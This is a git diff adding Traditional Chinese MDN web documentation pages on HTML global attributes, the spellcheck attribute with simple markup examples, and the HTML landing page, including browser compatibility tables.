+ <dt id="attr-lang"><code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt>
+ <dd>Participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. The tag contains one single entry value in the format defines in the <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a> IETF document. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> has priority over it.</dd>
+</dl>
+
+<dl>
+ <dt id="attr-slot"><code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> {{experimental_inline}}</dt>
+ <dd>Assigns a slot in a <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> shadow tree to an element: An element with a <code>slot</code> attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose {{htmlattrxref("name", "slot")}} attribute's value matches that <code>slot</code> attribute's value.</dd>
+</dl>
+
+<dl>
+ <dt id="attr-spellcheck"><code><a href="/en-US/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt>
+ <dd>Is an enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values:
+ <ul>
+  <li><code>true</code>, which indicates that the element should be, if possible, checked for spelling errors;</li>
+  <li><code>false</code>, which indicates that the element should not be checked for spelling errors.</li>
+ </ul>
+ </dd>
+ <dt id="attr-style"><code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code></dt>
+ <dd>Contains <a href="/en-US/docs/Web/CSS">CSS</a> styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes.</dd>
+ <dt id="attr-tabindex"><code><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></code></dt>
+ <dd>Is an integer attribute indicating if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values:
+ <ul>
+  <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li>
+  <li><code>0</code> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li>
+  <li>a <em>positive value</em> which means should be focusable and reachable via sequential keyboard navigation; its relative order is defined by the value of the attribute: the sequential follow the increasing number of the <a href="#attr-tabindex"><strong>tabindex</strong></a>. If several elements share the same tabindex, their relative order follows their relative position in the document).</li>
+ </ul>
+ </dd>
+ <dt id="attr-title"><code><a href="/en-US/docs/Web/HTML/Global_attributes/title">title</a></code></dt>
+ <dd>Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip.</dd>
+ <dt id="attr-translate"><code><a href="/en-US/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt>
+ <dd>Is an enumerated attribute that is used to specify whether an element's attribute values and the values of it<code>s</code> {{domxref("Text")}} node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values:
+ <ul>
+  <li>empty string and <code>"yes"</code>, which indicates that the element will be translated.</li>
+  <li><code>"no</code>", which indicates that the element will not be translated.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>From latest snapshot, {{SpecName('HTML5.1')}}, <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, and <code>itemtype</code> have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML5 W3C')}}, <code>spellcheck</code>, <code>draggable</code>, and <code>dropzone</code> have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, and <code>title</code> are now true global attributes.<br>
+    <code>xml:lang</code> which was initially part of XHTML, is now also part of HTML.<br>
+    <code>hidden</code>, <code>data-*</code>, <code>contextmenu</code>, <code>contenteditable</code>, and <code>translate</code> have been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.<br>
+    <code>class</code> and <code>style</code> are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+    <code>dir</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+    <code>id</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br>
+    <code>lang</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br>
+    <code>tabindex</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br>
+    <code>accesskey</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.<br>
+    <code>title</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(9)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>data-*</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hidden</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>data-*</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hidden</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, <code>itemtype</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Element")}} and {{domxref("GlobalEventHandlers")}} interfaces that allow to query most global attributes.</li>
+</ul>
diff --git a/files/zh-tw/web/html/global_attributes/spellcheck/index.html b/files/zh-tw/web/html/global_attributes/spellcheck/index.html
new file mode 100644
index 0000000000..65cd9dea57
--- /dev/null
+++ b/files/zh-tw/web/html/global_attributes/spellcheck/index.html
@@ -0,0 +1,39 @@
+---
+title: 控制 HTML 表單中的拼字檢查功能
+slug: Web/HTML/Global_attributes/spellcheck
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<p>Firefox 2 新增了網頁表單文字輸入區的即時拼字檢查功能，使用者可以修改 about:config 來調整是否使用拼字檢查、是否同時檢查文字輸入<b>欄</b>等設定。預設值狀態下，Firefox 會檢查文字輸入區（text area）及 <code>designMode</code> 的文件，而不檢查文字輸入欄（text field）的拼字。</p>
+
+<p>不過，總是會有些不見得適合預設值的情況，例如在某些用來編寫 HTML 等程式碼的輸入區中拼字檢查就變得煩人，或者有些網站也希望建議 Firefox 檢查某些特定文字輸入欄的拼字等等。</p>
+
+<p>若網站對某特定 <code>&lt;input&gt;</code> 元素中的拼字檢查執行與否有所建議，則可使用 <code>spellcheck</code> 屬性。將此屬性設為 <code>true</code> 表建議檢查拼字，而設為 <code>false</code> 則相反。</p>
+
+<p>若使用者將 <code>layout.spellcheckDefault</code> 直接設為 0 以關閉拼字檢查功能，那麼網站的建議就無效；若設為其他值，則會將網站建議列入考量。</p>
+
+<p>舉例來說，你可以撰寫如下的 HTML 碼，建議 Firefox 檢查此文字輸入欄（<code>&lt;input&gt;</code> 元素）中的拼字：</p>
+
+<pre class="eval"><span class="nowiki">&lt;input type="text" size="50" spellcheck="true"&gt;</span>
+</pre>
+
+<p>也可以撰寫這樣的 HTML 碼，建議 Firefox 不要檢查文字輸入區的拼字：</p>
+
+<pre class="eval"><span class="nowiki">&lt;textarea spellcheck="false"&gt;&lt;/textarea&gt;</span>
+</pre>
+
+<p>而 <code>designMode</code>（通常用於 HTML 所見即所得編輯）則可以在文件的 <code>&lt;body&gt;</code> 標籤中設定 <code>spellcheck</code> 屬性來控制拼字檢查。</p>
+
+<p><code>spellcheck</code> 屬性也可以放在 <code>&lt;span&gt;</code> 或 <code>&lt;div&gt;</code> 等其他標籤中，這麼一來在此元素下所有未另行設定 <code>spellcheck</code> 屬性的 <code>&lt;input&gt;</code> 元素將繼承此設定；而若皆未設定則使用者的決定將優先採行。</p>
+
+<p>舉例而言：</p>
+
+<pre>&lt;div spellcheck="true"&gt;
+  &lt;label&gt;輸入英文句子： &lt;/label&gt;&lt;input type="text" size="50"&gt;
+  &lt;br /&gt;
+  &lt;label&gt;再打一句： &lt;/label&gt;&lt;input type="text" size="50"&gt;
+&lt;/div&gt;
+&lt;br /&gt;
+&lt;label&gt;最後一句： &lt;/label&gt;&lt;input type="text" size="50"&gt;
+</pre>
+
+<p>在這段 HTML 程式碼中，頭兩個文字輸入區域將檢查拼字，第三個則不會。</p>
diff --git a/files/zh-tw/web/html/index.html b/files/zh-tw/web/html/index.html
new file mode 100644
index 0000000000..762824c626
--- /dev/null
+++ b/files/zh-tw/web/html/index.html
@@ -0,0 +1,105 @@
+---
+title: HTML：超文本標記語言
+slug: Web/HTML
+tags:
+  - HTML
+  - HTML元素
+  - 多媒體
+  - 影像
+  - 音樂
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTML</strong>（HyperText Markup Language，超文本標記語言）是打造網頁的基石。它表述並定義網頁的<em>內容</em>。伴隨 HTML 而來的技術還有描述網頁外觀（<a href="/zh-TW/docs/Web/CSS">CSS</a>）及功能性的程式語言（<a href="/zh-TW/docs/Web/JavaScript">JavaScript</a>）。</span></p>
+
+<p>「超文本」（HyperText）是指從某個網頁連到其他網頁的連結，不管它連結到站內抑或站外。連結連結 Web 的核心概念。藉由撰寫與上載網頁到網際網路中，你就積極參與了全球資訊網（World Wide Web)。</p>
+
+<p>HTML 使用「標記」（markup）來詮釋文字、圖像、或是其他能在瀏覽器裡面顯示的內容。HTML 標記還包括一些特殊「元素」（element），例如：{{HTMLElement("head")}}、{{HTMLElement("title")}}、{{HTMLElement("body")}}、{{HTMLElement("header")}}、{{HTMLElement("footer")}}、{{HTMLElement("article")}}、{{HTMLElement("section")}}、{{HTMLElement("p")}}、{{HTMLElement("div")}}、{{HTMLElement("span")}}、{{HTMLElement("img")}}……等等。</p>
+
+<p>HTML 文件中的元素和其他內容文字不同的地方，在於元素名稱本身用「&lt;」與「&gt;」包圍，稱作「標籤」。HTML 標籤不分英文大小寫。也就是說，它們可以寫成英文全大寫、全小寫、或是混在一起。像是 <strong>&lt;title&gt; </strong> 能寫成 &lt;Title&gt;,&lt;TiTlE&gt;……等等。</p>
+
+<p>以下這些文章將幫助你理解 HTML。</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>HTML 介紹</span>
+
+  <p>如果是網站開發的新手，請先閱讀我們的 <a href="/zh-TW/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基礎</a>文章以理解 HTML 是什麼還有它怎麼使用。</p>
+ </li>
+ <li><span>HTML 教學</span>
+  <p>有關如何使用 HTML、教學、完整範例，請參考我們的 <a href="/zh-TW/docs/Learn/HTML">HTML 學習專區</a>。</p>
+ </li>
+ <li><span>HTML 參考資料</span>
+  <p>在我們廣泛的 <a href="/zh-TW/docs/Web/HTML/Reference">HTML 參考資料</a>章節，你可以找到構成 HTML 每個元素和屬性的細節。.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Tools" id="初學者教學">初學者教學</h2>
+
+<p>我們的<a href="/zh-TW/docs/Learn/HTML">HTML 學習專區</a>提供數個從頭開始的 HTML 教學單元：你不需要任何先備知識。</p>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Introduction_to_HTML">HTML介紹</a></dt>
+ <dd>本單元會為你打下基礎，帶你熟悉重要概念和語法，像是如何把 HTML 套用到文本、如何建立超連結、還有如何使用 HTML 構建網頁。</dd>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Multimedia_and_embedding">多媒體與嵌入</a></dt>
+ <dd>本模塊探究如何使用HTML在你的網頁裡置入多媒體，包含多種不同載入圖片的方式，如何嵌入影音，甚至是另外一整個網頁。</dd>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Tables">HTML 表格</a></dt>
+ <dd>要以簡單易懂的方式將表格式的資訊呈現在網頁上會是一件挑戰。本模組涵蓋了基本的表格使用與更複雜的功能，例如標題和總結。</dd>
+ <dt><a href="/zh-TW/docs/Learn/HTML/Forms">HTML 表單</a></dt>
+ <dd>表單是網頁相當重要的部分，能夠提供與網頁互動時所需的各式的功能性。例如：註冊和登入、發送回饋意見、購買產品以及更多實用的功能。這個單元將帶領你建立網頁端的表單功能。</dd>
+ <dt><a href="https://developer.mozilla.org/zh-TW/docs/Learn/HTML/Howto">用 HTML 解決常見問題</a></dt>
+ <dd>提供部分內容註釋連結。 當你建立一個網頁時，如何解決 HTML 中常見問題，例如 : 處理標題、增加圖片或影片、強調內文、建立基本表單等。.</dd>
+</dl>
+
+<h2 id="進階部份">進階部份</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/CORS_enabled_image">CORS 圖像</a></dt>
+ <dd class="landingPageList"><code>當結合了一個適合的</code><a class="glossaryLink" href="/zh-TW/docs/Glossary/CORS">CORS</a>，<code><a href="/zh-TW/docs/Web/HTML/Element/img#attr-crossorigin">crossorigin</a></code> 屬性允許 {{HTMLElement("img")}} 元素定義的圖像被從一個地方載入，並被使用於 {{HTMLElement("canvas")}}，即便載入的地方是原處也一樣。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/CORS_settings_attributes">設定 CORS 屬性</a></dt>
+ <dd class="landingPageList">有些 HTML 元素可以支援 <a href="/zh-TW/docs/HTTP/Access_control_CORS">CORS</a>,像 {{HTMLElement("img")}} 或者 {{HTMLElement("video")}},有著 <code>crossorigin</code>  (<code>crossOrigin</code> property)的屬性, 讓你能直接使用CORS的元素。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Focus_management_in_HTML">管理 HTML 中的焦點</a></dt>
+ <dd class="landingPageList">The <code><a href="/zh-TW/docs/Web/API/Document/activeElement">activeElement</a></code> DOM attribute and the <code><a href="/zh-TW/docs/Web/API/Document/hasFocus">hasFocus()</a></code> DOM method help you track and control a user's interactions with elements on a web page.</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Using_the_application_cache">使用 application cache</a></dt>
+ <dd class="landingPageList">Application caching lets web-based applications run offline. You can use the <strong>Application Cache</strong> (<em>AppCache</em>) interface to specify resources that the browser should cache and make available to offline users. Applications that are cached load and work correctly even if users click the refresh button when they are offline.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/zh-TW/docs/Web/HTML/Preloading_content">使用 rel="preload" 來預載內容</a></dt>
+ <dd class="landingPageList">The <code>preload</code> value of the {{htmlelement("link")}} element's {{htmlattrxref("rel", "link")}} attribute allows you to write declarative fetch requests in your HTML {{htmlelement("head")}}, specifying resources that your pages will need very soon after loading, which you therefore want to start preloading early in the lifecycle of a page load, before the browser's main rendering machinery kicks in. This ensures that they are made available earlier and are less likely to block the page's first render, leading to performance improvements. This article provides a basic guide to how <code>preload</code> works.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="參考資料">參考資料</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Reference">HTML 參考資料</a></dt>
+ <dd class="landingPageList">HTML 包含<strong>元素</strong>，每個元素都可以被幾個<strong>屬性</strong>修飾。HTML 文件透過<a href="/zh-TW/docs/Web/HTML/Link_types">連結</a>把彼此連結在一起。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Element">HTML 元素參考</a></dt>
+ <dd class="landingPageList">瀏覽 <a class="glossaryLink" href="/zh-TW/docs/Glossary/HTML">HTML</a> 所有<a class="glossaryLink" href="/zh-TW/docs/Glossary/Element">元素</a>的清單。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Attributes">HTML 屬性參考</a></dt>
+ <dd class="landingPageList">HTML 元素都有<strong>屬性</strong>。這些額外屬性能透過數種方法設定元素、調整行為。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a></dt>
+ <dd class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Element">HTML 元素</a>能指定全域屬性，<em>就算它不是標準元素</em>。也就是說，即使是與 HTML5 標準不相容的非標準元素，依舊允許全域屬性。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Inline_elements">行內元素</a>與<a href="/zh-TW/docs/Web/HTML/Block-level_elements">塊級元素</a></dt>
+ <dd class="landingPageList">HTML 元素通常為<strong>行內</strong>或<strong>區塊</strong>。行內元素佔據由標籤所定義的其餘空白位置，區塊元素則占據母元素的所有空白位置。</dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Link_types">超連結類型</a></dt>
+ <dd class="landingPageList">在 HTML 中有多種超連結類型能夠使用，並解定義兩個頁面間的關係，超連結元素包含了<a href="/zh-TW/docs/Web/HTML/Element/a"><code>&lt;a&gt;</code></a>, <a href="/zh-TW/docs/Web/HTML/Element/area"><code>&lt;area&gt;</code></a>, <code><a href="/zh-TW/docs/Web/HTML/Element/link">&lt;link&gt;</a></code></dd>
+ <dt class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Supported_media_formats">HTML audio 及 video 元素對媒體的支援程度</a></dt>
+ <dd class="landingPageList"><a href="/zh-TW/docs/Web/HTML/Element/audio"><code>&lt;audio&gt;</code></a> 及 <a href="/zh-TW/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a> 元素允許播放聲音和影像檔。這些元素提供了瀏覽器替代 Adobe Flash 和其它類似外掛功能的方案。</dd>
